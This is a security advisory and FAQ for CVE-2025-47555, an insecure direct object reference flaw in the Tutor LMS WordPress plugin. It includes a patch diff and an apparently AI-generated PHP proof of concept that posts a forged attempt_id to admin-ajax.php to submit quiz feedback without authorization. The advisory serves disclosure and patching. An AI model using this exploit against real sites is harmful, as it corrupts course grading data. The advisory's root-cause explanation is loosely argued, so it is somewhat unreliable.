What is CVE-2025-47555?

CVE-2025-47555 is a medium severity vulnerability in the Tutor LMS WordPress plugin, affecting versions up to and including 3.9.4. It is classified as an Insecure Direct Object Reference (IDOR) that allows authenticated users with instructor-level access to perform unauthorized actions by manipulating object references.

How does this vulnerability work?

The vulnerability arises from insufficient authorization checks in the quiz feedback submission process. An attacker can exploit this by sending a manipulated POST request with a valid attempt ID from a course where they are not an instructor, bypassing intended access controls.

Who is affected by this vulnerability?

Authenticated users with Custom-level access and above, specifically instructors, are affected by this vulnerability. They can potentially exploit the flaw to submit unauthorized feedback for quizzes in courses they do not manage.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Tutor LMS plugin installed. If you are running version 3.9.4 or earlier, your site is susceptible to CVE-2025-47555.

How can I fix this vulnerability?

The vulnerability is patched in Tutor LMS version 3.9.5. To mitigate the issue, update your Tutor LMS plugin to the latest version as soon as possible to ensure that the authorization checks are correctly implemented.

What does the CVSS score of 4.3 indicate?

A CVSS score of 4.3 indicates a medium severity risk. This means that while the vulnerability is not critical, it poses a significant threat that could lead to unauthorized actions and potential data integrity issues.

What is an Insecure Direct Object Reference (IDOR)?

An Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal implementation object, such as a file or database record, without proper authorization checks. This can allow attackers to access or modify data they should not have permission to.

What are the practical risks of this vulnerability?

If exploited, this vulnerability may allow instructors to submit quiz feedback for courses where they lack authorization, potentially compromising grading integrity and student evaluations. While the impact is limited to quiz feedback, it undermines the plugin’s intended access controls.

How does the proof of concept demonstrate the vulnerability?

The proof of concept demonstrates the vulnerability by showing how an authenticated instructor can manipulate the `attempt_id` parameter in a POST request to submit unauthorized quiz feedback. It highlights the steps needed to exploit the IDOR flaw effectively.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider restricting access to the plugin for users who do not need instructor-level permissions. Additionally, monitor your site for any suspicious activity related to quiz feedback submissions.

Where can I find more information about this vulnerability?

More information about CVE-2025-47555 can be found in the official CVE database and security advisories from Atomic Edge. Keeping abreast of plugin updates and security patches is crucial for maintaining site security.

How can I stay informed about future vulnerabilities?

To stay informed about future vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check for updates from plugin developers. Implementing a robust security monitoring solution can also help detect potential threats.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-47555: Tutor LMS <= 3.9.4 – Authenticated (Instructor+) Insecure Direct Object Reference (tutor)

CVE ID CVE-2025-47555

Plugin tutor

Severity Medium (CVSS 4.3)

CWE 639

Vulnerable Version 3.9.4

Patched Version 3.9.5

Disclosed January 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-47555:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Tutor LMS WordPress plugin, affecting versions up to and including 3.9.4. The flaw allows authenticated attackers with instructor-level access or higher to perform unauthorized actions by manipulating object references. The CVSS score of 4.3 indicates a medium severity issue.

The root cause lies in insufficient authorization checks within the quiz feedback submission handler. In the vulnerable code at tutor/classes/Quiz.php lines 283-289, the plugin extracts a course ID from the `attempt_info` object within the `$attempt_details` variable. It then calls `tutor_utils()->is_instructor_of_this_course()` to verify the current user is an instructor for that course. However, the `$attempt_info` data is derived from user-controlled input (the `attempt_id` POST parameter), allowing an attacker to submit a manipulated attempt ID that references a different course where they lack instructor privileges.

The exploitation method requires an authenticated attacker with at least instructor-level access in one course. The attacker would send a POST request to the WordPress admin-ajax.php endpoint with the action parameter set to `tutor_place_quiz_feedback`. The request must include a valid nonce, which instructors can obtain. The critical parameter is `attempt_id`, which the attacker sets to reference a quiz attempt from a course where they are not an instructor. By submitting feedback with this manipulated ID, the attacker bypasses the intended authorization check and performs actions on another instructor’s course.

The patch modifies the authorization logic in two locations. In tutor/classes/Quiz.php, line 286 changes the course ID source from `$attempt_info` to `$attempt_details`, ensuring the course ID comes from the database record rather than user-controlled metadata. Line 288 adds a check for the `manage_options` capability (administrator) alongside the instructor check, providing a fallback authorization path. The same authorization fix is applied in tutor/views/pages/view_attempt.php lines 31-34. These changes ensure the course ID validation uses trusted data sources and maintains proper access controls.

If exploited, this vulnerability allows instructors to submit quiz feedback for courses where they lack proper authorization. This constitutes unauthorized modification of educational data, potentially affecting grading integrity and student evaluations. While the impact is limited to the quiz feedback functionality, it represents a breach of the plugin’s intended access controls and could be leveraged in conjunction with other vulnerabilities for broader compromise.

Differential between vulnerable and patched code

Code Diff

--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,9 +283,9 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
-		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
-
-		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_details, 0 );
+		$is_instructor   = tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id );
+		if ( ! current_user_can( 'manage_options' ) && ! $is_instructor ) {
 			wp_send_json_error( tutor_utils()->error_message() );
 		}

--- a/tutor/classes/User.php
+++ b/tutor/classes/User.php
@@ -245,7 +245,9 @@
 	private function delete_existing_user_photo( $user_id, $type ) {
 		$meta_key = 'cover_photo' == $type ? '_tutor_cover_photo' : '_tutor_profile_photo';
 		$photo_id = get_user_meta( $user_id, $meta_key, true );
-		is_numeric( $photo_id ) ? wp_delete_attachment( $photo_id, true ) : 0;
+		if ( is_numeric( $photo_id ) ) {
+			wp_delete_attachment( $photo_id, true );
+		}
 		delete_user_meta( $user_id, $meta_key );
 	}

@@ -281,7 +283,7 @@
 		/**
 		 * Photo Update from profile
 		 */
-		$photo      = tutor_utils()->array_get( 'photo_file', $_FILES );
+		$photo      = tutor_utils()->array_get( 'photo_file', $_FILES ); //phpcs:ignore -- already sanitized.
 		$photo_size = tutor_utils()->array_get( 'size', $photo );
 		$photo_type = tutor_utils()->array_get( 'type', $photo );

@@ -373,6 +375,14 @@
 		$_tutor_profile_bio       = Input::post( self::PROFILE_BIO_META, '', Input::TYPE_KSES_POST );
 		$_tutor_profile_image     = Input::post( self::PROFILE_PHOTO_META, '', Input::TYPE_KSES_POST );

+		if ( is_numeric( $_tutor_profile_image ) ) {
+			$attachment = get_post( $_tutor_profile_image );
+
+			if ( 'attachment' === $attachment->post_type && $user_id !== $attachment->post_author ) {
+				return;
+			}
+		}
+
 		update_user_meta( $user_id, self::PROFILE_JOB_TITLE_META, $_tutor_profile_job_title );
 		update_user_meta( $user_id, self::PROFILE_BIO_META, $_tutor_profile_bio );
 		update_user_meta( $user_id, self::PROFILE_PHOTO_META, $_tutor_profile_image );
--- a/tutor/classes/Utils.php
+++ b/tutor/classes/Utils.php
@@ -4066,11 +4066,13 @@
 				WHERE	comments.comment_post_ID = %d
 						AND comments.comment_type = %s
 						AND commentmeta.meta_key = %s
+						AND comments.comment_approved = %s
 				GROUP BY CAST(commentmeta.meta_value AS SIGNED);
 				",
 					$course_id,
 					'tutor_course_rating',
-					'tutor_rating'
+					'tutor_rating',
+					'approved'
 				)
 			);

--- a/tutor/models/CartModel.php
+++ b/tutor/models/CartModel.php
@@ -73,13 +73,19 @@
 			);
 		}

+		if ( 'gift' === $item_type ) {
+			$item_details = wp_json_encode( $item_details, JSON_UNESCAPED_UNICODE );
+		} else {
+			$item_details = wp_json_encode( $item_details );
+		}
+
 		return QueryHelper::insert(
 			"{$wpdb->prefix}tutor_cart_items",
 			array(
 				'cart_id'      => $user_cart_id,
 				'course_id'    => $course_id,
 				'item_type'    => $item_type,
-				'item_details' => $item_details ? wp_json_encode( $item_details ) : null,
+				'item_details' => $item_details,
 			)
 		);
 	}
@@ -261,5 +267,4 @@
 			)
 		);
 	}
-
 }
--- a/tutor/templates/single/course/reviews.php
+++ b/tutor/templates/single/course/reviews.php
@@ -25,7 +25,7 @@
 $current_user_id = get_current_user_id();
 $course_id       = Input::post( 'course_id', get_the_ID(), Input::TYPE_INT );
 $reviews         = tutor_utils()->get_course_reviews( $course_id, $offset, $per_page, false, array( 'approved' ), $current_user_id );
-$reviews_total   = tutor_utils()->get_course_reviews( $course_id, null, null, true, array( 'approved' ), $current_user_id );
+$reviews_total   = tutor_utils()->get_course_reviews( $course_id, null, null, true, array( 'approved' ) );
 $my_rating       = tutor_utils()->get_reviews_by_user( 0, 0, 150, false, $course_id, array( 'approved', 'hold' ) );

 if ( Input::has( 'course_id' ) ) {
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.4
+ * Version: 3.9.5
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.4' );
+define( 'TUTOR_VERSION', '3.9.5' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
+        'reference' => 'ad35941bc49eab600939a865a136e4a05cf217f8',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
+            'reference' => 'ad35941bc49eab600939a865a136e4a05cf217f8',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -16,12 +16,13 @@
 use TUTORInput;
 use TutorModelsQuizModel;

-$attempt_id   = Input::get( 'view_quiz_attempt_id', 0, Input::TYPE_INT );
-$attempt      = tutor_utils()->get_attempt( $attempt_id );
-$attempt_data = $attempt;
-$user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
-$quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
-$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
+$attempt_id    = Input::get( 'view_quiz_attempt_id', 0, Input::TYPE_INT );
+$attempt       = tutor_utils()->get_attempt( $attempt_id );
+$attempt_data  = $attempt;
+$user_id       = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
+$quiz_id       = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id     = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
+$is_instructor = tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id );
 if ( ! $attempt ) {
 	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
@@ -31,8 +32,8 @@
 	return;
 }

-if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
-	tutor_utils()->tutor_empty_state();
+if ( ! current_user_can( 'manage_options' ) && ! $is_instructor ) {
+	tutor_utils()->tutor_empty_state( __( 'Access denied!', 'tutor' ) );
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-47555 - Tutor LMS <= 3.9.4 - Authenticated (Instructor+) Insecure Direct Object Reference

<?php
/**
 * Proof of Concept for CVE-2025-47555
 * Requires: Valid WordPress authentication cookies for an instructor user
 * Target: Tutor LMS plugin <= 3.9.4
 */

$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc=...'; // Valid auth cookie for instructor user

// Step 1: Obtain a valid nonce for the tutor_place_quiz_feedback action
// Instructors can typically access this nonce via the quiz interface
$nonce = 'valid_nonce_here'; // Replace with actual nonce

// Step 2: Identify a quiz attempt ID from a course where the instructor lacks privileges
// This could be obtained through enumeration or information disclosure
$target_attempt_id = 123; // Attempt ID from unauthorized course

// Step 3: Craft the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'tutor_place_quiz_feedback',
    'attempt_id' => $target_attempt_id,
    'feedback' => 'Unauthorized feedback submission',
    '_wpnonce' => $nonce
]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie,
    'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Step 4: Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check for success
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "Exploit successful: Unauthorized feedback submittedn";
} else {
    echo "Exploit failed or patchedn";
}
?>

Frequently Asked Questions

What is CVE-2025-47555?
Overview of the vulnerability
CVE-2025-47555 is a medium severity vulnerability in the Tutor LMS WordPress plugin, affecting versions up to and including 3.9.4. It is classified as an Insecure Direct Object Reference (IDOR) that allows authenticated users with instructor-level access to perform unauthorized actions by manipulating object references.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient authorization checks in the quiz feedback submission process. An attacker can exploit this by sending a manipulated POST request with a valid attempt ID from a course where they are not an instructor, bypassing intended access controls.
Who is affected by this vulnerability?
Impacted user roles
Authenticated users with Custom-level access and above, specifically instructors, are affected by this vulnerability. They can potentially exploit the flaw to submit unauthorized feedback for quizzes in courses they do not manage.
How can I check if my site is vulnerable?
Identifying vulnerable versions
To check if your site is vulnerable, verify the version of the Tutor LMS plugin installed. If you are running version 3.9.4 or earlier, your site is susceptible to CVE-2025-47555.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in Tutor LMS version 3.9.5. To mitigate the issue, update your Tutor LMS plugin to the latest version as soon as possible to ensure that the authorization checks are correctly implemented.
What does the CVSS score of 4.3 indicate?
Understanding risk levels
A CVSS score of 4.3 indicates a medium severity risk. This means that while the vulnerability is not critical, it poses a significant threat that could lead to unauthorized actions and potential data integrity issues.
What is an Insecure Direct Object Reference (IDOR)?
Definition and implications
An Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal implementation object, such as a file or database record, without proper authorization checks. This can allow attackers to access or modify data they should not have permission to.
What are the practical risks of this vulnerability?
Potential consequences
If exploited, this vulnerability may allow instructors to submit quiz feedback for courses where they lack authorization, potentially compromising grading integrity and student evaluations. While the impact is limited to quiz feedback, it undermines the plugin’s intended access controls.
How does the proof of concept demonstrate the vulnerability?
Exploit illustration
The proof of concept demonstrates the vulnerability by showing how an authenticated instructor can manipulate the `attempt_id` parameter in a POST request to submit unauthorized quiz feedback. It highlights the steps needed to exploit the IDOR flaw effectively.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If you cannot update the plugin immediately, consider restricting access to the plugin for users who do not need instructor-level permissions. Additionally, monitor your site for any suspicious activity related to quiz feedback submissions.
Where can I find more information about this vulnerability?
Further resources
More information about CVE-2025-47555 can be found in the official CVE database and security advisories from Atomic Edge. Keeping abreast of plugin updates and security patches is crucial for maintaining site security.
How can I stay informed about future vulnerabilities?
Best practices for security awareness
To stay informed about future vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check for updates from plugin developers. Implementing a robust security monitoring solution can also help detect potential threats.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations